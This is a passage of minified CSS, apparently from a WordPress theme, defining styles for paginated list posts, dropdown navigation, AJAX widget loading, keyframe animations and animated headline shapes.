.pcsml-ad>div{margin-bottom:16px}.pcsml_style_4{position:relative}.pcsml_style_4 h1,.pcsml_style_4 h2,.pcsml_style_4 h3,.pcsml_style_4 h4,.pcsml_style_4 h5,.pcsml_style_4 h6{margin:2px 0 0}.pcsml_style_4 .pcsml-title-wrapper{margin-bottom:21px}.pcsml_style_4 .pcsml-item-number span{min-width:37px;min-height:37px;font-size:22px;line-height:37px}.pcsml_style_4 .pcsml-item-title{margin-top:5px;padding-left:19px;font-size:22px;line-height:26px}.pcsml_style_4 .pcsml-figure{text-align:center;display:table;margin-left:auto;margin-right:auto}.pcsml_style_4 .pcsml-figure img{width:100%}.pcsml_style_4 .pcsml-desc{margin-top:0}.pcsml_style_4 .pcsml-pagination{margin-top:26px}@media only screen and (max-width:767px){.pcsml_style_4{margin-top:20px}.pcsml_style_4 h1,.pcsml_style_4 h2,.pcsml_style_4 h3,.pcsml_style_4 h4,.pcsml_style_4 h5,.pcsml_style_4 h6{text-align:center;margin:0}.pcsml_style_4 .pcsml-title-wrapper{margin-bottom:10px}.pcsml_style_4 .pcsml-item-number{display:inline-block}.pcsml_style_4 .pcsml-item-title{display:inline-block;width:100%;margin-top:10px;padding-left:0}}.pcsml-pagination{text-align:center;margin-bottom:26px}.pcsml-button{font-family:var(--pchead-font);display:inline-block;line-height:41px;padding:0 20px;background-color:var(--pcheading-cl);color:var(--pcbg-cl);font-size:16px;font-style:normal;text-align:center;-webkit-transition:background-color .2s ease 0s;transition:background-color .2s ease 0s;cursor:pointer;margin:0 10px}.pcsml-button:hover{color:var(--pcbg-cl);background-color:var(--pcaccent-cl)}.pcsml-button .penciicon-left-chevron{font-size:14px;position:relative;top:1px;padding-right:11px}.pcsml-button .penciicon-right-chevron{font-size:14px;position:relative;top:1px;padding-left:11px}.pcsm-disable{opacity:.5;cursor:default;-webkit-user-select:none;-moz-user-select:none;user-select:none}.pcsm-disable:hover{background-color:var(--pcheading-cl)}.pcsml_style_5{position:relative;margin-bottom:30px}@media only screen and (max-width:767px){.pcsml_style_5{margin-top:20px}}.pcsml_style_5 .pcsml-ad .pcsml-placeholder-title,.pcsml_style_5 .pcsml-ad>div{margin-bottom:26px}.pcsml_style_5 .pcsml-ad .adsbygoogle{margin-bottom:21px}.pcsml_style_5 .pcsml-item .pcsml-pagination{position:relative;display:inline-block;margin-bottom:26px}.pcsml_style_5 .pcsml-head{position:relative}.pcsml_style_5 h1,.pcsml_style_5 h2,.pcsml_style_5 h3,.pcsml_style_5 h4,.pcsml_style_5 h5,.pcsml_style_5 h6{margin-top:0;margin-bottom:18px;padding:0 120px;min-height:42px;text-align:center;line-height:1}.pcsml_style_5 .pcsml-item-title{display:inline-block;margin-top:6px;margin-bottom:8px;width:100%;font-size:22px;line-height:28px}.pcsml_style_5 .pcsml-desc{margin-top:0}.pcsml_style_5 .pcsml-figure img{margin-top:26px;width:100%}.pcsml_style_5 .pcsml-figure{text-align:center;display:table;margin-left:auto;margin-right:auto}.pcsml_style_5 .pcsml-caption{text-align:left}.pcsml_style_5 .pcsml-pagination{display:inline-block;width:100%;top:0;margin-bottom:0}.pcsml_style_5 .pcsml-pagination .pcsml-button{margin:0}.pcsml_style_5 .pcsml-pagination .pcsm-back{float:left}.pcsml_style_5 .pcsml-pagination .pcsm-next{float:right}@media only screen and (min-width:768px) and (max-width:1018px){.pcsml_style_5 .pcsml-item-title{margin-top:10px;line-height:24px;font-size:19px}}@media only screen and (max-width:767px){.pcsml_style_5 .pcsml-item .pcsml-pagination{margin-bottom:0}.pcsml_style_5 h1,.pcsml_style_5 h2,.pcsml_style_5 h3,.pcsml_style_5 h4,.pcsml_style_5 h5,.pcsml_style_5 h6{margin-bottom:0;padding:0;min-height:0}.pcsml_style_5 .pcsml-item-title{margin-top:10px;text-align:left;line-height:30px;font-weight:500;font-size:26px}}@media only screen and (min-width:767px){.pcsml_style_5 .pcsml-head .pcsml-pagination{position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%)}}.pcsml-dropdown-wrap{text-align:center;border:1px solid var(--pcborder-cl);margin-bottom:30px;clear:both}.pcsml-dropdown-wrap .pcsml-dropdown{height:30px;padding:0 35px 0 10px;margin:10px 0;overflow:hidden;background-color:var(--pcbg-cl);border:none;box-shadow:none;-webkit-appearance:none;appearance:none;outline:0;font-family:var(--pchead-font);max-width:100%;text-overflow:ellipsis;cursor:pointer;font-size:16px}.pcsml-dropdown-wrap .pcsml-dropdown option{font-size:14px}.pcsml-dropdown-wrap .pcsml-dropdown::-ms-expand{display:none}.pcsml-dropdown-wrap .pcsml-container{display:inline-block;position:relative;width:50%}.pcsml-dropdown-wrap .pcsml-container:before{content:"";width:0;height:0;position:absolute;top:50%;right:16px;z-index:0;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000;pointer-events:none;transform:translateY(-40%)}.pcsml-dropdown-wrap .pcsml-button{font-family:var(--pchead-font);line-height:40px;font-size:16px;font-style:normal;text-align:center;-webkit-transition:background-color .2s ease 0s;transition:background-color .2s ease 0s;cursor:pointer;padding:2px 18px;margin:0;background-color:transparent;color:var(--pctext-cl)!important}.pcsml-dropdown-wrap .pcsml-button i{font-size:12px;position:relative;top:1px}.pcsml-dropdown-wrap .pcsml-button .penciicon-left-chevron{padding-right:6px}.pcsml-dropdown-wrap .pcsml-button .penciicon-right-chevron{padding-left:6px}.pcsml-dropdown-wrap .pcsml-button:hover{text-decoration:none!important;color:var(--pcaccent-cl)}.pcsml-dropdown-wrap .pcsm-disable{opacity:.5;cursor:default;-webkit-user-select:none;user-select:none}.pcsml-dropdown-wrap .pcsm-disable:hover{color:var(--pcheading-cl)}.pcsml-dropdown-wrap .pcsm-next{text-align:right;width:25%;display:inline-block}.pcsml-dropdown-wrap .pcsm-back{text-align:left;width:25%;display:inline-block}@media only screen and (min-width:768px) and (max-width:1018px){.pcsml-dropdown-wrap .pcsml-dropdown{max-width:50%}}@media only screen and (max-width:767px){.pcsml-dropdown-wrap .pcsml-dropdown option{text-align:left}.pcsml-dropdown-wrap .pcsml-button{width:15%}.pcsml-dropdown-wrap .pcsml-container{width:70%}.pcsml-dropdown-wrap .pcsml-button i{display:inline;top:0}.pcsml-dropdown-wrap .pcsml-button span{display:none}}.pcsml_style_6 .pcsml-ad>div{margin-bottom:15px}.pcsml_style_6 .pcsml-ad .adsbygoogle{margin-bottom:15px}.pcsml_style_6 .pcsml-ad .pcsml-placeholder-title{margin-bottom:15px}.pcsml_style_6{position:relative}.pcsml_style_6 .pcsml-title-wrapper{margin-bottom:15px}.pcsml_style_6 .pcsml-title-wrapper h1,.pcsml_style_6 .pcsml-title-wrapper h2,.pcsml_style_6 .pcsml-title-wrapper h3,.pcsml_style_6 .pcsml-title-wrapper h4,.pcsml_style_6 .pcsml-title-wrapper h5,.pcsml_style_6 .pcsml-title-wrapper h6{margin:5px 0 0;line-height:30px}.pcsml_style_6 .pcsml-item-title{font-size:22px;line-height:26px}.pcsml_style_6 .pcsml-desc{margin-top:0;margin-bottom:25px}.pcsml_style_6 .pcsml-desc .aligncenter{margin-top:20px}.pcsml-desc p:empty{display:none}.post-entry .pcsml-desc>ol:last-child,.post-entry .pcsml-desc>p:last-child,.post-entry .pcsml-desc>ul:last-child{margin-bottom:0}.widget .penci-pagination{margin-top:20px;margin-bottom:0}.widget .penci-pagination a{text-decoration:none}.penci-pagination.penci-ajax-nav .pcajx-btn{align-items:center;display:flex;min-width:35px;font-size:12px;border:1px solid var(--pcborder-cl);cursor:pointer;transition:.3s all ease-in-out;padding:0 10px}.penci-pagination.penci-ajax-nav .pcnav-title{padding:0 5px;font-size:12px;font-weight:var(--pchead-wei);font-family:var(--pchead-font);text-transform:uppercase}.penci-pagination.penci-ajax-nav .pcajx-btn:not(.disable):hover{border-color:var(--pcaccent-cl);background-color:var(--pcaccent-cl);color:#fff}.penci-pagination.penci-ajax-nav .pcajx-btn.disable{opacity:.5}.penci-pagination.penci-ajax-nav .pcajx-btn.disable:hover{cursor:not-allowed}.penci-pagination.penci-ajax-nav .pcajx-btn i{line-height:30px}.penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dots,.penci-owl-carousel.pcdots-number .penci-owl-dots{counter-reset:penci-dots-counter}.penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot span,.penci-owl-carousel.pcdots-number .penci-owl-dot span{width:auto;height:auto;background:0 0;border:none;font-family:var(--pchead-font);white-space:nowrap;line-height:1;font-weight:var(--pchead-wei);color:#fff;margin-left:10px;margin-right:10px;font-size:14px}.penci-custom-slides .penci-owl-carousel.pcdots-number.line .penci-owl-dot span,.penci-owl-carousel.pcdots-number.line .penci-owl-dot span{margin-left:0;margin-right:0}.penci-custom-slides .penci-owl-carousel.pcdots-number:not(.line) .penci-owl-dot span:before,.penci-owl-carousel.pcdots-number:not(.line) .penci-owl-dot span:before{counter-increment:penci-dots-counter;content:"0"counter(penci-dots-counter)}.penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot span:after,.penci-owl-carousel.pcdots-number .penci-owl-dot span:after{content:"";width:15px;height:2px;background-color:currentColor;transition:width .3s ease;vertical-align:middle;display:inline-block;margin:0 0 0 5px}.penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot.active span:after,.penci-owl-carousel.pcdots-number .penci-owl-dot.active span:after{width:30px}.penci-custom-slides.penci-jarallax{width:auto;padding-top:0}.widget .penci-pagination.penci-ajax-nav{display:flex;flex-wrap:wrap;flex-direction:row;justify-content:space-between}.widget{position:relative}.widget .pcwgajx-ld-wrapper{position:absolute;top:0;left:0;right:0;bottom:0;z-index:9;visibility:hidden}.widget.ajx-loading .pcwgajx-ld-wrapper{visibility:visible}.widget.ajx-loading ul{opacity:.5}.widget.ajx-loading .penci-loader-effect{display:block}@-webkit-keyframes pcani-dash{0%{stroke-dasharray:0 1500}15%{stroke-dasharray:1500 1500}85%{opacity:1}90%{stroke-dasharray:1500 1500;opacity:0}100%{stroke-dasharray:0 1500;opacity:0}}@keyframes pcani-dash{0%{stroke-dasharray:0 1500}15%{stroke-dasharray:1500 1500}85%{opacity:1}90%{stroke-dasharray:1500 1500;opacity:0}100%{stroke-dasharray:0 1500;opacity:0}}@-webkit-keyframes pcani-pulse{0%{-webkit-transform:translateY(-50%) scale(1);transform:translateY(-50%) scale(1);opacity:1}40%{-webkit-transform:translateY(-50%) scale(.9);transform:translateY(-50%) scale(.9);opacity:0}100%{-webkit-transform:translateY(-50%) scale(0);transform:translateY(-50%) scale(0);opacity:0}}@keyframes pcani-pulse{0%{-webkit-transform:translateY(-50%) scale(1);transform:translateY(-50%) scale(1);opacity:1}40%{-webkit-transform:translateY(-50%) scale(.9);transform:translateY(-50%) scale(.9);opacity:0}100%{-webkit-transform:translateY(-50%) scale(0);transform:translateY(-50%) scale(0);opacity:0}}@-webkit-keyframes pcani-swirl-in{0%{opacity:0;-webkit-transform:translateZ(-20px) rotateX(90deg);transform:translateZ(-20px) rotateX(90deg)}60%{opacity:1;-webkit-transform:translateZ(-20px) rotateX(-10deg);transform:translateZ(-20px) rotateX(-10deg)}100%{opacity:1;-webkit-transform:translateZ(-20px) rotateX(0);transform:translateZ(-20px) rotateX(0)}}@keyframes pcani-swirl-in{0%{opacity:0;-webkit-transform:translateZ(-20px) rotateX(90deg);transform:translateZ(-20px) rotateX(90deg)}60%{opacity:1;-webkit-transform:translateZ(-20px) rotateX(-10deg);transform:translateZ(-20px) rotateX(-10deg)}100%{opacity:1;-webkit-transform:translateZ(-20px) rotateX(0);transform:translateZ(-20px) rotateX(0)}}@-webkit-keyframes pcani-blinds-in{0%{-webkit-transform:rotateY(180deg);transform:rotateY(180deg)}100%{-webkit-transform:rotateY(0);transform:rotateY(0)}}@keyframes pcani-blinds-in{0%{-webkit-transform:rotateY(180deg);transform:rotateY(180deg)}100%{-webkit-transform:rotateY(0);transform:rotateY(0)}}@-webkit-keyframes pcani-wave-up{0%{-webkit-transform:scale(0);transform:scale(0);opacity:0}60%{-webkit-transform:scale(1.2);transform:scale(1.2);opacity:1}100%{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@keyframes pcani-wave-up{0%{-webkit-transform:scale(0);transform:scale(0);opacity:0}60%{-webkit-transform:scale(1.2);transform:scale(1.2);opacity:1}100%{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@-webkit-keyframes pcani-flip-in{0%{-webkit-transform:rotateX(180deg);transform:rotateX(180deg);opacity:0}35%{-webkit-transform:rotateX(120deg);transform:rotateX(120deg);opacity:0}65%{opacity:0}100%{-webkit-transform:rotateX(360deg);transform:rotateX(360deg);opacity:1}}@keyframes pcani-flip-in{0%{-webkit-transform:rotateX(180deg);transform:rotateX(180deg);opacity:0}35%{-webkit-transform:rotateX(120deg);transform:rotateX(120deg);opacity:0}65%{opacity:0}100%{-webkit-transform:rotateX(360deg);transform:rotateX(360deg);opacity:1}}@-webkit-keyframes pcani-flip-out{0%{-webkit-transform:rotateX(0);transform:rotateX(0);opacity:1}35%{-webkit-transform:rotateX(-40deg);transform:rotateX(-40deg);opacity:0}65%{opacity:0}100%{-webkit-transform:rotateX(180deg);transform:rotateX(180deg);opacity:0}}@keyframes pcani-flip-out{0%{-webkit-transform:rotateX(0);transform:rotateX(0);opacity:1}35%{-webkit-transform:rotateX(-40deg);transform:rotateX(-40deg);opacity:0}65%{opacity:0}100%{-webkit-transform:rotateX(180deg);transform:rotateX(180deg);opacity:0}}@-webkit-keyframes pcani-drop-in-in{0%{opacity:0;-webkit-transform:translateZ(100px);transform:translateZ(100px)}100%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes pcani-drop-in-in{0%{opacity:0;-webkit-transform:translateZ(100px);transform:translateZ(100px)}100%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes pcani-drop-in-out{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}100%{opacity:0;-webkit-transform:translateZ(-100px);transform:translateZ(-100px)}}@keyframes pcani-drop-in-out{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}100%{opacity:0;-webkit-transform:translateZ(-100px);transform:translateZ(-100px)}}@-webkit-keyframes pcani-slide-right-in{0%{opacity:0;-webkit-transform:translateX(-100%);transform:translateX(-100%)}60%{opacity:1;-webkit-transform:translateX(10%);transform:translateX(10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes pcani-slide-right-in{0%{opacity:0;-webkit-transform:translateX(-100%);transform:translateX(-100%)}60%{opacity:1;-webkit-transform:translateX(10%);transform:translateX(10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes pcani-slide-right-out{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}60%{opacity:0;-webkit-transform:translateX(110%);transform:translateX(110%)}100%{opacity:0;-webkit-transform:translateX(100%);transform:translateX(100%)}}@keyframes pcani-slide-right-out{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}60%{opacity:0;-webkit-transform:translateX(110%);transform:translateX(110%)}100%{opacity:0;-webkit-transform:translateX(100%);transform:translateX(100%)}}@-webkit-keyframes pcani-slide-left-in{0%{opacity:0;-webkit-transform:translateX(100%);transform:translateX(100%)}60%{opacity:1;-webkit-transform:translateX(-10%);transform:translateX(-10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes pcani-slide-left-in{0%{opacity:0;-webkit-transform:translateX(100%);transform:translateX(100%)}60%{opacity:1;-webkit-transform:translateX(-10%);transform:translateX(-10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes pcani-slide-left-out{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}60%{opacity:0;-webkit-transform:translateX(-110%);transform:translateX(-110%)}100%{opacity:0;-webkit-transform:translateX(-100%);transform:translateX(-100%)}}@keyframes pcani-slide-left-out{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}60%{opacity:0;-webkit-transform:translateX(-110%);transform:translateX(-110%)}100%{opacity:0;-webkit-transform:translateX(-100%);transform:translateX(-100%)}}@-webkit-keyframes pcani-slide-up-in{0%{opacity:0;-webkit-transform:translateY(100%);transform:translateY(100%)}60%{opacity:1;-webkit-transform:translateY(-20%);transform:translateY(-20%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes pcani-slide-up-in{0%{opacity:0;-webkit-transform:translateY(100%);transform:translateY(100%)}60%{opacity:1;-webkit-transform:translateY(-20%);transform:translateY(-20%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes pcani-slide-up-out{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}60%{opacity:0;-webkit-transform:translateY(-120%);transform:translateY(-120%)}100%{opacity:0;-webkit-transform:translateY(-100%);transform:translateY(-100%)}}@keyframes pcani-slide-up-out{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}60%{opacity:0;-webkit-transform:translateY(-120%);transform:translateY(-120%)}100%{opacity:0;-webkit-transform:translateY(-100%);transform:translateY(-100%)}}@-webkit-keyframes pcani-slide-down-in{0%{opacity:0;-webkit-transform:translateY(-100%);transform:translateY(-100%)}60%{opacity:1;-webkit-transform:translateY(20%);transform:translateY(20%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes pcani-slide-down-in{0%{opacity:0;-webkit-transform:translateY(-100%);transform:translateY(-100%)}60%{opacity:1;-webkit-transform:translateY(20%);transform:translateY(20%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes pcani-slide-down-out{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}60%{opacity:0;-webkit-transform:translateY(120%);transform:translateY(120%)}100%{opacity:0;-webkit-transform:translateY(100%);transform:translateY(100%)}}@keyframes pcani-slide-down-out{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}60%{opacity:0;-webkit-transform:translateY(120%);transform:translateY(120%)}100%{opacity:0;-webkit-transform:translateY(100%);transform:translateY(100%)}}@-webkit-keyframes pcani-bounce-in{0%,20%,40%,60%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes pcani-bounce-in{0%,20%,40%,60%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}}@-webkit-keyframes pcani-bounce-out{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:0;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes pcani-bounce-out{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:0;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@-webkit-keyframes pcani-swing-in{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0);transform:rotate(0)}}@keyframes pcani-swing-in{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0);transform:rotate(0)}}@-webkit-keyframes pcani-swing-out{20%{-webkit-transform:rotate(0);transform:rotate(0)}40%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}60%{-webkit-transform:rotate(10deg);transform:rotate(10deg)}80%{-webkit-transform:rotate(-15deg);transform:rotate(-15deg)}to{-webkit-transform:rotate(15deg);transform:rotate(15deg)}}@keyframes pcani-swing-out{20%{-webkit-transform:rotate(0);transform:rotate(0)}40%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}60%{-webkit-transform:rotate(10deg);transform:rotate(10deg)}80%{-webkit-transform:rotate(-15deg);transform:rotate(-15deg)}to{-webkit-transform:rotate(15deg);transform:rotate(15deg)}}@-webkit-keyframes pcani-rubber-band-in{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes pcani-rubber-band-in{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scaleX(1);transform:scaleX(1)}}@-webkit-keyframes pcani-rubber-band-out{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}30%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}40%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}75%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}to{-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes pcani-rubber-band-out{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}30%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}40%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}75%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}to{-webkit-transform:scaleX(1);transform:scaleX(1)}}.penci-animated-headline{--pcaccent-cl-dk:var(--pcheading-cl);position:relative}.penci-animated-headline .pc-textlink{position:absolute;top:0;left:0;right:0;bottom:0;z-index:2}.penci-animated-headline{-webkit-transition:all .3s ease;transition:all .3s ease}.penci-animated-headline a{text-decoration:none;color:var(--pcaccent-cl)}.penci-animated-headline .penci-animated-text{padding:0;margin:0;display:inline-block}.penci-animated-headline .penci-animated-text .normal-text{z-index:1;position:relative;vertical-align:bottom;font-size:43px;font-weight:500;line-height:1.2}.penci-animated-headline .penci-animated-text .normal-text.style-gradient{background:var(--pcaccent-cl-dk);background:-webkit-gradient(linear,left top,left bottom,from(var(--pcaccent-cl)),to(var(--pcaccent-cl-dk)));background:linear-gradient(180deg,var(--pcaccent-cl) 0,var(--pcaccent-cl-dk) 100%);-moz-text-fill-color:transparent;-o-text-fill-color:transparent;-webkit-text-fill-color:transparent;background-clip:text;-webkit-background-clip:text}.penci-animated-headline .penci-animated-text .dynamic-wrapper{overflow:visible;text-align:inherit;display:inline-block;position:relative;vertical-align:bottom}.penci-animated-headline .penci-animated-text .dynamic-wrapper.style-gradient .dynamic-text{background:var(--pcaccent-cl-dk);background:-webkit-gradient(linear,left top,left bottom,from(var(--pcaccent-cl)),to(var(--pcaccent-cl-dk)));background:linear-gradient(180deg,var(--pcaccent-cl) 0,var(--pcaccent-cl-dk) 100%);-moz-text-fill-color:transparent;-o-text-fill-color:transparent;-webkit-text-fill-color:transparent;background-clip:text;-webkit-background-clip:text}.penci-animated-headline .penci-animated-text .dynamic-wrapper.style-gradient .dynamic-text .dynamic-text-letter{background:var(--pcaccent-cl-dk);background:-webkit-gradient(linear,left top,left bottom,from(var(--pcaccent-cl)),to(var(--pcaccent-cl-dk)));background:linear-gradient(180deg,var(--pcaccent-cl) 0,var(--pcaccent-cl-dk) 100%);-moz-text-fill-color:transparent;-o-text-fill-color:transparent;-webkit-text-fill-color:transparent;background-clip:text;-webkit-background-clip:text}.penci-animated-headline .penci-animated-text .dynamic-text{display:inline-block;position:relative;top:0;left:0;z-index:1;font-size:43px;font-weight:500;line-height:1.2}.penci-animated-headline .penci-animated-text svg{position:absolute;left:0;overflow:visible}.penci-animated-headline .penci-animated-text svg path{fill:none;stroke-dasharray:1500;-webkit-animation:pcani-dash 10s infinite;animation:pcani-dash 10s infinite}.penci-animated-headline .penci-animated-text svg path.style-color{stroke:var(--pcaccent-cl)}.penci-animated-headline .penci-animated-text svg path:nth-of-type(2){-webkit-animation-delay:.3s;animation-delay:.3s}.penci-animated-headline .penci-animated-text svg linearGradient stop:nth-of-type(1){stop-color:var(--pcaccent-cl)}.penci-animated-headline .penci-animated-text svg linearGradient stop:nth-of-type(2){stop-color:var(--pcaccent-cl-dk)}.penci-animated-headline[data-shape=underline-2] .penci-animated-text svg{top:auto;bottom:-50%;width:100%;height:100%}.penci-animated-headline[data-shape=underline-1] .penci-animated-text svg{top:auto;bottom:-50%;width:100%;height:100%}.penci-animated-headline[data-shape=heart] .penci-animated-text svg{top:-30px;bottom:-20px;width:calc(100% + 80px);height:calc(100% + 80px);left:-40px;right:-40px}.penci-animated-headline[data-shape=click] .penci-animated-text svg{top:auto;bottom:-10px;width:50px;height:50px;left:auto;right:-20px}.penci-animated-headline[data-shape=sparkle] .penci-animated-text svg{top:-10px;bottom:auto;width:30px;height:30px;left:auto;right:0}.penci-animated-headline[data-shape=bolt] .penci-animated-text svg,.penci-animated-headline[data-shape=check] .penci-animated-text svg,.penci-animated-headline[data-shape=pan] .penci-animated-text svg{top:-20px;bottom:-20px;width:100%;height:calc(100% + 40px);left:0;right:0}.penci-animated-headline[data-shape=line] .penci-animated-text svg{top:15px;bottom:0;width:calc(100% + 40px);height:calc(100%);left:-10px;right:-40px}.penci-animated-headline[data-shape=line-2] .penci-animated-text svg{top:-5px;bottom:0;width:calc(100% + 40px);height:calc(100% + 20px);left:-20px;right:-20px}.penci-animated-headline[data-shape=line-1] .penci-animated-text svg{top:-5px;bottom:0;width:calc(100% + 40px);height:calc(100% + 20px);left:-20px;right:-20px}.penci-animated-headline[data-shape=strikethrough] .penci-animated-text svg{top:50%;width:100%;height:100%}.penci-animated-headline[data-shape="x"] .penci-animated-text svg,.penci-animated-headline[data-shape=diagonal] .penci-animated-text svg,.penci-animated-headline[data-shape=double] .penci-animated-text svg{top:0;width:100%;height:100%}.penci-animated-headline[data-shape=curly] .penci-animated-text svg,.penci-animated-headline[data-shape=double-underline] .penci-animated-text svg,.penci-animated-headline[data-shape=underline-zigzag] .penci-animated-text svg,.penci-animated-headline[data-shape=underline] .penci-animated-text svg{top:90%;width:100%;height:100%}.penci-animated-headline[data-shape=circle] .penci-animated-text svg{top:0;width:calc(100% + 20px);height:calc(100% + 20px);-webkit-transform:translate(-10px,-10px);transform:translate(-10px,-10px)}.penci-animated-headline[data-style=rotating] .penci-animated-text .dynamic-text:not(.show-text){visibility:hidden;opacity:0;display:none}.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper:after{content:"";position:absolute;left:auto;right:0;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);height:90%;width:1px;background-color:var(--pctext-cl)}.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.cursor-blink:after{-webkit-animation:pcani-pulse 1s infinite;animation:pcani-pulse 1s infinite}.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete{background:var(--pcaccent-cl)}.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete.style-gradient .dynamic-text{color:var(--pctext-cl);background:0 